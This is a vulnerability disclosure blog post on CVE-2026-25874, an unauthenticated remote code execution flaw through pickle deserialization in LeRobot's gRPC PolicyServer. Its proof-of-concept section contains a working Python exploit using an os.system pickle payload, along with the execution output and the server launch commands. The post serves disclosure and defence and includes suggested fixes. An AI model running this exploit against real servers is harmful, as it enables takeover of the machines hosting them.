CVE-2026-25874: HuggingFace LeRobot Unauthenticated RCE via Pickle Deserialization in gRPC PolicyServer

Valentin Lobstein / April 22, 2026

CVE RCE

▶ Table of Contents

Introduction

Continuing my audit of pickle deserialization vulnerabilities in the ML/AI ecosystem, I found a critical RCE in **LeRobot**, HuggingFace's open-source robotics framework for ML (Machine Learning) with over 21,500 stars on GitHub.

The async inference module exposes a gRPC server that calls `pickle.loads()` on attacker-controlled data in two separate RPC handlers, without any authentication. The gRPC channel uses `add_insecure_port()` - **no TLS, no auth, nothing.** Anyone with network access to the port gets code execution on the server.

Target: huggingface/lerobot **Stars:** 21,500+ **Package:** lerobot 0.4.3 on PyPI
Severity: Critical (CVSS 3.1: 9.8)

What is LeRobot?

LeRobot is HuggingFace's platform for real-world robotics. It provides tools for training robot policies using machine learning, with the goal of making robotics accessible to the broader ML community. The project includes an async inference module that allows offloading policy computation to a separate GPU server - a robot sends camera observations to the server, and the server returns motor actions.

The async inference architecture consists of:

- A **PolicyServer** (`policy_server.py`) running on a GPU machine, serving policy inference via gRPC
- A **RobotClient** (`robot_client.py`) running on the robot, sending observations and receiving actions

The communication between them uses protobuf messages with raw `bytes` fields, serialized and deserialized using Python's `pickle` module.

The Vulnerability

Two RPC handlers in the PolicyServer call `pickle.loads()` on data received from the network.

SendPolicyInstructions at line 127:

```
def SendPolicyInstructions(self, request, context):
    # ...
    policy_specs = pickle.loads(request.data)  # nosec
    if not isinstance(policy_specs, RemotePolicyConfig):  # checked AFTER deseri
        raise TypeError(...)
```

SendObservations at line 185:

```
def SendObservations(self, request_iterator, context):
    # ...
    received_bytes = receive_bytes_in_chunks(request_iterator, None, self.shutdo
    timed_observation = pickle.loads(received_bytes)  # nosec
```

Both calls happen before any type validation. The developers acknowledged the risk with `# nosec` comments (which suppress Bandit security warnings) but **implemented no actual mitigation.**

The gRPC server uses `add_insecure_port()` - no TLS, no authentication. The protobuf messages use raw `bytes` fields (`PolicySetup.data`, `Observation.data`) to carry the pickled objects.

What These Endpoints Actually Accept

Here's the irony: neither endpoint needs pickle at all.

SendPolicyInstructions expects a `RemotePolicyConfig` dataclass containing:

- `policy_type`: a string (e.g., "act", "diffusion")
- `device`: a string (e.g., "cuda")
- `pretrained_name_or_path`: a string (HuggingFace model path)
- A few other string/int/dict fields

SendObservations expects a `TimedObservation` containing:

- Camera images as tensors

- Motor positions as tensors
- A timestamp

The first could trivially be JSON or native protobuf fields. The second could use safetensors or numpy serialization. **There's no technical reason to use pickle here** - it was just the path of least resistance.

Proof of Concept

Setting Up the Target

I tested against the real `lerobot==0.4.3` package installed from PyPI. Zero code modifications - stock install, stock command:

```
pip install lerobot
python -m lerobot.async_inference.policy_server --host=0.0.0.0 --port=50051
```

Proto Definition

The gRPC service is defined as:

```
syntax = "proto3";
package transport;

service AsyncInference {
  rpc SendObservations(stream Observation) returns (Empty);
  rpc GetActions(Empty) returns (Actions);
  rpc SendPolicyInstructions(PolicySetup) returns (Empty);
  rpc Ready(Empty) returns (Empty);
}
```

```
message PolicySetup { bytes data = 1; }
message Observation {
  TransferState transfer_state = 1;
  bytes data = 2;
}
message Actions { bytes data = 1; }
message Empty {}
```

The Exploit

```
import os
import pickle
import grpc
from transport import services_pb2, services_pb2_grpc

class RCE:
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        return (os.system, (self.cmd,))

channel = grpc.insecure_channel("TARGET:50051")
stub = services_pb2_grpc.AsyncInferenceStub(channel)

# Initialize server state
stub.Ready(services_pb2.Empty())

# Send malicious pickle via SendPolicyInstructions
payload = pickle.dumps(RCE("id > /tmp/lerobot_pwned"))
stub.SendPolicyInstructions(services_pb2.PolicySetup(data=payload))
```

Result

```
$ python exploit.py --target 127.0.0.1:50051 --method both
[*] Target: 127.0.0.1:50051
[*] Command: id > /tmp/lerobot_pwned
[*] Calling Ready() to initialize server...
[+] Server is ready
[*] Sending malicious pickle via SendPolicyInstructions...
[*] Payload size: 61 bytes
[+] RPC error (expected - RCE already executed): StatusCode.UNKNOWN
[*] Sending malicious pickle via SendObservations...
[+] RPC error (expected - RCE already executed): StatusCode.UNKNOWN
[*] Done

$ cat /tmp/lerobot_pwned
uid=1000(chocapikk) gid=1001(chocapikk) groups=1001(chocapikk),4(adm),24(cdrom),
```

Both vectors confirmed. The server returns `StatusCode.UNKNOWN` because after `pickle.loads()` executes the payload, the `isinstance()` check fails (the deserialized object is an `int` from `os.system()`, not a `RemotePolicyConfig`). But the RCE has already executed before the type validation.

Prior Disclosure Attempts

I wasn't the first to notice security issues in this codebase. There's an open issue #2745 on the repository where Chenpinji reports having submitted a vulnerability via GitHub's Security tab in December 2025 with no response. A maintainer acknowledged on January 7, 2026 that "this does pose a security risk" and that "that part of the codebase needs to be almost entirely refactored." It's possible this refers to the same vulnerability, but the private

report's contents aren't visible so I can't confirm. In either case, no fix or CVE has been issued and the last interaction dates from January 12 with no further response.

There is one existing CVE for a different component in the same repository: CVE-2025-10772 covers missing authentication in `lekiwi_remote.py` (ZeroMQ). The pickle deserialization RCE in `policy_server.py` (gRPC) is a separate vulnerability.

Attack Surface

The default configuration binds to `localhost:8080`, which limits exposure for casual deployments. But the entire point of the async inference module is to offload computation to a separate GPU server - the documentation describes deploying the PolicyServer on a dedicated machine while the robot client runs elsewhere. In that scenario, the server must be network-accessible, and users will bind to `0.0.0.0` (as the `--host` flag supports).

There's no need for sophisticated fingerprinting to find these servers either. An attacker on the network can just spray the payload at any port. The gRPC server will accept the connection and deserialize the pickle before rejecting it.

Suggested Fix

1. **For `PolicySetup`:** Replace pickle with JSON or protobuf-native fields for the `RemotePolicyConfig` dataclass. All its fields are strings, ints, and dicts - nothing needs pickle.

2. **For `Observation` / `Actions`:** Use `safetensors` or numpy serialization for tensor data, with JSON metadata for timestamps.
3. **Add TLS:** Replace `add_insecure_port()` with `add_secure_port()` using server credentials.
4. **Add authentication:** Implement gRPC interceptors for token-based auth.

Timeline

- **2025-12 (approx):** Another researcher submits a private vulnerability report via GitHub Security tab (no response from vendor)
- **2026-01-07:** Maintainer acknowledges security risk in public issue, no fix
- **2026-02-11:** Vulnerability independently discovered and confirmed via PoC against real lerobot 0.4.3 from PyPI
- **2026-02-11:** CVE request submitted to VulnCheck
- **2026-04-23:** CVE-2026-25874 published

Takeaways

This is the same systemic pattern I keep seeing: ML frameworks using `pickle` for network serialization because it's convenient. The `# nosec` comments tell you everything - the developers knew it was a risk, the linter told them it was a risk, and they suppressed the warning instead of fixing it.

The irony here is hard to overstate. HuggingFace created safetensors - a serialization format designed specifically because pickle is dangerous for ML data. Their own documentation, their own blog posts, their own library all say

the same thing: don't use pickle for untrusted data. And yet their own robotics framework deserializes attacker-controlled network input with `pickle.loads()`, with `# nosec` comments to silence the tool that was trying to warn them. The company that built the safe alternative ships the unsafe pattern in their own code.

The async inference module was added in September 2025 and has had no security fixes since. For a project under the HuggingFace umbrella with 21,500+ stars, that's a significant gap.

If you're running LeRobot's async inference server on anything other than a fully trusted local network, you should be aware that any machine on that network can execute arbitrary code on your GPU server.